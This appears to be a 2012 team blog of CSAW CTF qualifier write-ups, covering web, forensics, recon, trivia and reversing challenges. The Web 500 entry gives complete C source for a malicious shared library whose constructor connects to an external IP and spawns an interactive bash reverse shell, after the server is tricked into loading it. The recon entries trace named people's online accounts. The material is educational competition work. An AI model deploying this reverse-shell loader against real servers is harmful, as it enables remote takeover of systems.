Wednesday, October 3, 2012

CSAW CTF 2012 Qualifiers - Web 500

This challenge was a ton of ajax and whatnot, so after hunting around,  real thing we’re after is that you can externderp in the menu! What is seems to do is use the following POST request when doing a heartbeat check:
{
   "message":“extenderp”,
   “extenderpurl” : “http://127.0.0.1:8080/test/extenderptest.node”
}
Well, that means that the server is loading something which we have specified. As such, what if we point it to our own file? So I uploaded some executables, hoping they'd execute, to an internet-facing webserver and... ...It says it can’t derp it or something. I can't just send an arbitrary execuatable file. Thus, let's look into what is an extenderptest.node? I downloaded the extenderptest.node file and ran the Linux file command on it:
extenderptest.node: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=0×49ed3236d9e68f7965e90064d05ea2ed2778754b, not stripped
Its a shared 64-bit object file. Shared object files are files which a linker will load into a binary and use. Well, loadable object files are allowed to have initialization functions which are always run first.

 Let's recap - using an ajax POST request, the remote server will download a specified shared object file, include it in whatever program they have running, and send back the output of the program.

What do we have now? We have the ability to serve to the server a shared library file of our choice which by design is allowed to have init functions. We have arbitrary code execution!

 Of course, what i did next was to make a fake externderptest.node shared object file with an init function which loads a reverse shell. Then, look in the /opt/noderp/htdocs/key and winning!

After viewing other solutions to solving this, I must admit that we simply went the route of a library main in C rather than LSE who made a handler for the test() function in C++.

extenderptestPWN.node.c:
1  #include <arpa inet.h="inet.h"> 2 #include <assert .h=".h">
3  #include <errno .h=".h">
4  #include <netinet in.h="in.h">
5  #include <signal .h=".h">
6  #include <stdlib .h=".h">
7  #include <stdio .h=".h">
8  #include <string .h=".h">
9  #include <sys types.h="types.h">
10 #include <sys socket.h="socket.h">
11 #include <sys wait.h="wait.h">
12 #include <netdb .h=".h">
13 #include <unistd .h=".h">
14 #define MAX 512
15 void __attribute__ ((constructor)) my_load(void);
16 void shell()
17 {
18    int sockfd;
19    int sockfd2;
20    struct sockaddr_in remaddr;
21    struct sockaddr_in remaddr2;
22    char GET[] = "GET /directorytocmd.txt/cmd.txt\n";
23    char RECV[MAX];
24    char IP[] = "66.85.131.82";
26    sockfd = socket(PF_INET, SOCK_STREAM, 0);
27
28    remaddr.sin_family = AF_INET;
29    remaddr.sin_port = htons(9000);
30    remaddr.sin_addr.s_addr = inet_addr(IP);
31    memset(remaddr.sin_zero, 0, sizeof(remaddr.sin_zero));
32
33    connect(sockfd, (struct sockaddr *)&amp;remaddr, sizeof(struct sockaddr));
34    dup2(sockfd, 0); dup2(sockfd, 1); dup2(sockfd, 2);
35    execl("/bin/bash", "/bin/bash", "-i", NULL);
36    close(sockfd);
37 }
38 void my_load(void)
39 {
40    printf("my_load\n");
41    shell();
42 }
Example driver for the pwn library to make sure it was written right:
1 #include <dlfcn.h>
2 #include <stdio.h>
3 int main( int argc, char** argv[] )
4 {
5    void* foo = dlopen( "/home/b1tSt0rm/csaw2012/libbob.so.1.0.1", RTLD_NOW );
6    printf("%p\n", foo);
7    return 0;
8 }

Tuesday, October 2, 2012

CSAW CTF Quals: Networking 100

This was a pcap file of telnet traffic. If you opened up the file in wireshark and viewed the TELNET TCP stream, the password was there to be copied and pasted. 100 points!

CSAW CTF Quals: Forensics 500

This was possibly the easiest 500 points of the competition. Open the file in notepad. Copy and paste the readily apparent key... Smile and grin happily to yourself. Continue with your day.

CSAW CTF Quals: Trivia

Google. Learn how to use it...

Trivia - What is the first step of owning a target?
Answer

Trivia - What is the name of the Google's dynamic malware analysis tool for Android applications?
Answer

Trivia - What is the x86 opcode for and al, 0x24? Put your answer in the form 0xFFFF.
Answer

Trivia - Who was the first security researcher to publish the DEP bypass that utilized WriteProcessMemory()?
Answer

Trivia - What is the name of Microsoft's sophisticated distributed fuzzing system that utilizes automated debugging, taint analysis, model building, and constaint solving?
Answer

CSAW CTF Quals: Recon All

Jordan Wiens (100):


Used Jordan Wiens’ twitter username (psifertex) and found psifertex.com. From here, we found the robots.txt which led us to the /csaw directory. Here, there was a riddle.
Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming
Don't bother brute forcing file paths, you'll never find it that way.
However, Some Understanding Becomes Dominant On Manipulation And Inquisitive Naming clearly spells out SUBDOMAIN with its first letters. This led us to look for key.psifertex.com, which had the key spelled out in ASCII art.

Jeff Jarmoc (100):


We found this one pretty quickly. We downloaded all of the judges pictures and looked at the metadata in them. Jeff Jarmoc's had a finger url in it that when you went to it, spat back a key to you.

Julian Cohen (100):


We checked reddit posts for JulianCohen #HockeyInJune and found http://www.reddit.com/r/MURICA/comments/10a243/murica_free_donuts_and_beverages/.

We then checked all recent posts from this account and the most recent post was a link to http://cockcab.com/ which had the key.

Yoda (400):


Run whoami on yoda inside the IRC. Win!

Dan Guido (400):


This one took the longest. The steps were:
1. Search everything possible
2. Get bored/defeated
3. Browse /r/netsec
4. Casually search "Dan Guido"
--> Find a comment thread about "salami and cheese". Win!

CSAW CTF Quals: Reversing 500

This one was a bit more of a headache. We start with an mrom and an mrom.tmp… Let’s start by running the file command:


We see that one of these is a BIOS ROM and the other is an ELF. Our team spent an enormous amount of time trying to reverse the ELF when we really should have just ignored it. It turns out that the elf is really just debugging symbols for what turns our to be an iPXE ROM. Next, let’s run strings to see if we can get more info on the files. We immediately noticed:


This shows that the .mrom is an iPXE rom.
After looking around their site for a while, we noticed a vmware installation guide that should let us play with the rom.
       *For more info, see here
To summarize the article, the site tells us that the 8086100f naming convention is for e1000-type network adapters. Blindly following the guide then leads us to create a blank vm and add the following lines to it:
   ethernet0.virtualDev = “e1000”
   ethernet0.opromsize = 262144
   e1000bios.filename = “[your path to]/8086100f.mrom”
Now we can start the vm and press ctrl-b to enter iPXE.


After trying to connect, we get an error that says we don’t have enough room. So, increase the oprom size (see above) to something larger (ex. 26214400) and restart. Now, the ROM is able to successfully connect to https://secure-doomsday-client-loader.c0.cx/boot/vmlinuz. Once it connects, it begins to download a kernel from https://secure-doomsday-client-loader.c0.cx/boot/initrd.gz?include_flag=0 and boots into it. Here, we found a flag.txt file. Yay! But sadly it’s a fake. Catting this flag shows something along the lines of “This is not the initrd you are looking for”... Hilarious aren’t they?

Looking at the download link, we see a very obvious include_flag=0. Most of the URI string was encrypted in the binary, but after some searching we were able to find:


Patch the g=0 to g=1, restart the vm, press ctrl-b, and let it download the flag-included kernel. Cat the flag.txt file in the root directory and win!

Hope you enjoyed the write-up!

-- d1r3w0lf

CSAW CTF Quals: Forensics 200 - 2

After we completed Forensics200 - version 1, what needed to happen for version 2 was obvious. All the CRC’s must be wrong except one (the opposite of version 1). We had already found a tool that alerted on incorrect checksums, so we found a tool that only reported correct CRC's (PngMeta available here). The reported name was the correct key.

-- syreal